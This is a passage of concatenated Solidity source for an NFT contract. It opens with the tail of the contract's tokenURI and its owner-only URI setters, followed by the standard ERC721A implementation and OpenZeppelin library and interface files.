bytes(currentBaseURI).length > 0 ? string( abi.encodePacked( currentBaseURI, tokenId.toString(), ".json" ) ) : ""; } // ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ // * METADATA // ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ function setBaseURI(string memory newURI) public onlyOwner { baseURI = newURI; } function setHiddenURI(string memory newURI) public onlyOwner { hiddenURI = newURI; } } // SPDX-License-Identifier: MIT // Creator: Chiru Labs pragma solidity ^0.8.4; import '@openzeppelin/contracts/token/ERC721/IERC721.sol'; import '@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol'; import '@openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol'; import '@openzeppelin/contracts/token/ERC721/extensions/IERC721Enumerable.sol'; import '@openzeppelin/contracts/utils/Address.sol'; import '@openzeppelin/contracts/utils/Context.sol'; import '@openzeppelin/contracts/utils/Strings.sol'; import '@openzeppelin/contracts/utils/introspection/ERC165.sol'; error ApprovalCallerNotOwnerNorApproved(); error ApprovalQueryForNonexistentToken(); error ApproveToCaller(); error ApprovalToCurrentOwner(); error BalanceQueryForZeroAddress(); error MintedQueryForZeroAddress(); error BurnedQueryForZeroAddress(); error AuxQueryForZeroAddress(); error MintToZeroAddress(); error MintZeroQuantity(); error OwnerIndexOutOfBounds(); error OwnerQueryForNonexistentToken(); error TokenIndexOutOfBounds(); error TransferCallerNotOwnerNorApproved(); error TransferFromIncorrectOwner(); error TransferToNonERC721ReceiverImplementer(); error TransferToZeroAddress(); error URIQueryForNonexistentToken(); /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension. Built to optimize for lower gas during batch mints. * * Assumes serials are sequentially minted starting at _startTokenId() (defaults to 0, e.g. 0, 1, 2, 3..). * * Assumes that an owner cannot have more than 2**64 - 1 (max value of uint64) of supply. * * Assumes that the maximum token id cannot exceed 2**256 - 1 (max value of uint256). */ contract ERC721A is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Compiler will pack this into a single 256bit word. struct TokenOwnership { // The address of the owner. address addr; // Keeps track of the start time of ownership with minimal overhead for tokenomics. uint64 startTimestamp; // Whether the token has been burned. bool burned; } // Compiler will pack this into a single 256bit word. struct AddressData { // Realistically, 2**64-1 is more than enough. uint64 balance; // Keeps track of mint count with minimal overhead for tokenomics. uint64 numberMinted; // Keeps track of burn count with minimal overhead for tokenomics. uint64 numberBurned; // For miscellaneous variable(s) pertaining to the address // (e.g. number of whitelist mint slots used). // If there are multiple variables, please pack them into a uint64. uint64 aux; } // The tokenId of the next token to be minted. uint256 internal _currentIndex; // The number of tokens burned. uint256 internal _burnCounter; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to ownership details // An empty struct value does not necessarily mean the token is unowned. See ownershipOf implementation for details. mapping(uint256 => TokenOwnership) internal _ownerships; // Mapping owner address to address data mapping(address => AddressData) private _addressData; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; _currentIndex = _startTokenId(); } /** * To change the starting tokenId, please override this function. */ function _startTokenId() internal view virtual returns (uint256) { return 0; } /** * @dev See {IERC721Enumerable-totalSupply}. * @dev Burned tokens are calculated here, use _totalMinted() if you want to count just minted tokens. */ function totalSupply() public view returns (uint256) { // Counter underflow is impossible as _burnCounter cannot be incremented // more than _currentIndex - _startTokenId() times unchecked { return _currentIndex - _burnCounter - _startTokenId(); } } /** * Returns the total amount of tokens minted in the contract. */ function _totalMinted() internal view returns (uint256) { // Counter underflow is impossible as _currentIndex does not decrement, // and it is initialized to _startTokenId() unchecked { return _currentIndex - _startTokenId(); } } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view override returns (uint256) { if (owner == address(0)) revert BalanceQueryForZeroAddress(); return uint256(_addressData[owner].balance); } /** * Returns the number of tokens minted by `owner`. */ function _numberMinted(address owner) internal view returns (uint256) { if (owner == address(0)) revert MintedQueryForZeroAddress(); return uint256(_addressData[owner].numberMinted); } /** * Returns the number of tokens burned by or on behalf of `owner`. */ function _numberBurned(address owner) internal view returns (uint256) { if (owner == address(0)) revert BurnedQueryForZeroAddress(); return uint256(_addressData[owner].numberBurned); } /** * Returns the auxillary data for `owner`. (e.g. number of whitelist mint slots used). */ function _getAux(address owner) internal view returns (uint64) { if (owner == address(0)) revert AuxQueryForZeroAddress(); return _addressData[owner].aux; } /** * Sets the auxillary data for `owner`. (e.g. number of whitelist mint slots used). * If there are multiple variables, please pack them into a uint64. */ function _setAux(address owner, uint64 aux) internal { if (owner == address(0)) revert AuxQueryForZeroAddress(); _addressData[owner].aux = aux; } /** * Gas spent here starts off proportional to the maximum mint batch size. * It gradually moves to O(1) as tokens get transferred around in the collection over time. */ function ownershipOf(uint256 tokenId) internal view returns (TokenOwnership memory) { uint256 curr = tokenId; unchecked { if (_startTokenId() <= curr && curr < _currentIndex) { TokenOwnership memory ownership = _ownerships[curr]; if (!ownership.burned) { if (ownership.addr != address(0)) { return ownership; } // Invariant: // There will always be an ownership that has an address and is not burned // before an ownership that does not have an address and is not burned. // Hence, curr will not underflow. while (true) { curr--; ownership = _ownerships[curr]; if (ownership.addr != address(0)) { return ownership; } } } } } revert OwnerQueryForNonexistentToken(); } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view override returns (address) { return ownershipOf(tokenId).addr; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { if (!_exists(tokenId)) revert URIQueryForNonexistentToken(); string memory baseURI = _baseURI(); return bytes(baseURI).length != 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ''; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ''; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public override { address owner = ERC721A.ownerOf(tokenId); if (to == owner) revert ApprovalToCurrentOwner(); if (_msgSender() != owner && !isApprovedForAll(owner, _msgSender())) { revert ApprovalCallerNotOwnerNorApproved(); } _approve(to, tokenId, owner); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view override returns (address) { if (!_exists(tokenId)) revert ApprovalQueryForNonexistentToken(); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public override { if (operator == _msgSender()) revert ApproveToCaller(); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ''); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { _transfer(from, to, tokenId); if (to.isContract() && !_checkContractOnERC721Received(from, to, tokenId, _data)) { revert TransferToNonERC721ReceiverImplementer(); } } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), */ function _exists(uint256 tokenId) internal view returns (bool) { return _startTokenId() <= tokenId && tokenId < _currentIndex && !_ownerships[tokenId].burned; } function _safeMint(address to, uint256 quantity) internal { _safeMint(to, quantity, ''); } /** * @dev Safely mints `quantity` tokens and transfers them to `to`. * * Requirements: * * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called for each safe transfer. * - `quantity` must be greater than 0. * * Emits a {Transfer} event. */ function _safeMint( address to, uint256 quantity, bytes memory _data ) internal { _mint(to, quantity, _data, true); } /** * @dev Mints `quantity` tokens and transfers them to `to`. * * Requirements: * * - `to` cannot be the zero address. * - `quantity` must be greater than 0. * * Emits a {Transfer} event. */ function _mint( address to, uint256 quantity, bytes memory _data, bool safe ) internal { uint256 startTokenId = _currentIndex; if (to == address(0)) revert MintToZeroAddress(); if (quantity == 0) revert MintZeroQuantity(); _beforeTokenTransfers(address(0), to, startTokenId, quantity); // Overflows are incredibly unrealistic. // balance or numberMinted overflow if current value of either + quantity > 1.8e19 (2**64) - 1 // updatedIndex overflows if _currentIndex + quantity > 1.2e77 (2**256) - 1 unchecked { _addressData[to].balance += uint64(quantity); _addressData[to].numberMinted += uint64(quantity); _ownerships[startTokenId].addr = to; _ownerships[startTokenId].startTimestamp = uint64(block.timestamp); uint256 updatedIndex = startTokenId; uint256 end = updatedIndex + quantity; if (safe && to.isContract()) { do { emit Transfer(address(0), to, updatedIndex); if (!_checkContractOnERC721Received(address(0), to, updatedIndex++, _data)) { revert TransferToNonERC721ReceiverImplementer(); } } while (updatedIndex != end); // Reentrancy protection if (_currentIndex != startTokenId) revert(); } else { do { emit Transfer(address(0), to, updatedIndex++); } while (updatedIndex != end); } _currentIndex = updatedIndex; } _afterTokenTransfers(address(0), to, startTokenId, quantity); } /** * @dev Transfers `tokenId` from `from` to `to`. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) private { TokenOwnership memory prevOwnership = ownershipOf(tokenId); bool isApprovedOrOwner = (_msgSender() == prevOwnership.addr || isApprovedForAll(prevOwnership.addr, _msgSender()) || getApproved(tokenId) == _msgSender()); if (!isApprovedOrOwner) revert TransferCallerNotOwnerNorApproved(); if (prevOwnership.addr != from) revert TransferFromIncorrectOwner(); if (to == address(0)) revert TransferToZeroAddress(); _beforeTokenTransfers(from, to, tokenId, 1); // Clear approvals from the previous owner _approve(address(0), tokenId, prevOwnership.addr); // Underflow of the sender's balance is impossible because we check for // ownership above and the recipient's balance can't realistically overflow. // Counter overflow is incredibly unrealistic as tokenId would have to be 2**256. unchecked { _addressData[from].balance -= 1; _addressData[to].balance += 1; _ownerships[tokenId].addr = to; _ownerships[tokenId].startTimestamp = uint64(block.timestamp); // If the ownership slot of tokenId+1 is not explicitly set, that means the transfer initiator owns it. // Set the slot of tokenId+1 explicitly in storage to maintain correctness for ownerOf(tokenId+1) calls. uint256 nextTokenId = tokenId + 1; if (_ownerships[nextTokenId].addr == address(0)) { // This will suffice for checking _exists(nextTokenId), // as a burned slot cannot contain the zero address. if (nextTokenId < _currentIndex) { _ownerships[nextTokenId].addr = prevOwnership.addr; _ownerships[nextTokenId].startTimestamp = prevOwnership.startTimestamp; } } } emit Transfer(from, to, tokenId); _afterTokenTransfers(from, to, tokenId, 1); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { TokenOwnership memory prevOwnership = ownershipOf(tokenId); _beforeTokenTransfers(prevOwnership.addr, address(0), tokenId, 1); // Clear approvals from the previous owner _approve(address(0), tokenId, prevOwnership.addr); // Underflow of the sender's balance is impossible because we check for // ownership above and the recipient's balance can't realistically overflow. // Counter overflow is incredibly unrealistic as tokenId would have to be 2**256. unchecked { _addressData[prevOwnership.addr].balance -= 1; _addressData[prevOwnership.addr].numberBurned += 1; // Keep track of who burned the token, and the timestamp of burning. _ownerships[tokenId].addr = prevOwnership.addr; _ownerships[tokenId].startTimestamp = uint64(block.timestamp); _ownerships[tokenId].burned = true; // If the ownership slot of tokenId+1 is not explicitly set, that means the burn initiator owns it. // Set the slot of tokenId+1 explicitly in storage to maintain correctness for ownerOf(tokenId+1) calls. uint256 nextTokenId = tokenId + 1; if (_ownerships[nextTokenId].addr == address(0)) { // This will suffice for checking _exists(nextTokenId), // as a burned slot cannot contain the zero address. if (nextTokenId < _currentIndex) { _ownerships[nextTokenId].addr = prevOwnership.addr; _ownerships[nextTokenId].startTimestamp = prevOwnership.startTimestamp; } } } emit Transfer(prevOwnership.addr, address(0), tokenId); _afterTokenTransfers(prevOwnership.addr, address(0), tokenId, 1); // Overflow not possible, as _burnCounter cannot be exceed _currentIndex times. unchecked { _burnCounter++; } } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve( address to, uint256 tokenId, address owner ) private { _tokenApprovals[tokenId] = to; emit Approval(owner, to, tokenId); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkContractOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver(to).onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert TransferToNonERC721ReceiverImplementer(); } else { assembly { revert(add(32, reason), mload(reason)) } } } } /** * @dev Hook that is called before a set of serially-ordered token ids are about to be transferred. This includes minting. * And also called before burning one token. * * startTokenId - the first token id to be transferred * quantity - the amount to be transferred * * Calling conditions: * * - When `from` and `to` are both non-zero, `from`'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, `tokenId` will be burned by `from`. * - `from` and `to` are never both zero. */ function _beforeTokenTransfers( address from, address to, uint256 startTokenId, uint256 quantity ) internal virtual {} /** * @dev Hook that is called after a set of serially-ordered token ids have been transferred. This includes * minting. * And also called after one token has been burned. * * startTokenId - the first token id to be transferred * quantity - the amount to be transferred * * Calling conditions: * * - When `from` and `to` are both non-zero, `from`'s `tokenId` has been * transferred to `to`. * - When `from` is zero, `tokenId` has been minted for `to`. * - When `to` is zero, `tokenId` has been burned by `from`. * - `from` and `to` are never both zero. */ function _afterTokenTransfers( address from, address to, uint256 startTokenId, uint256 quantity ) internal virtual {} } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (access/Ownable.sol) pragma solidity ^0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Strings.sol) pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol) pragma solidity ^0.8.0; import "../../utils/introspection/IERC165.sol"; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol) pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol) pragma solidity ^0.8.0; import "../IERC721.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (token/ERC721/extensions/IERC721Enumerable.sol) pragma solidity ^0.8.0; import "../IERC721.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Enumerable is IERC721 { /** * @dev Returns the total amount of tokens stored by the contract. */ function totalSupply() external view returns (uint256); /** * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. */ function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256); /** * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. */ function tokenByIndex(uint256 index) external view returns (uint256); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol) pragma solidity ^0.8.1; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== * * [IMPORTANT] * ==== * You shouldn't rely on `isContract` to protect against flash loan attacks! * * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract * constructor. * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize/address.code.length, which returns 0 // for contracts in construction, since the code is only stored at the end // of the constructor execution. return account.code.length > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol) pragma solidity ^0.8.0; import "./IERC165.sol"; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); }
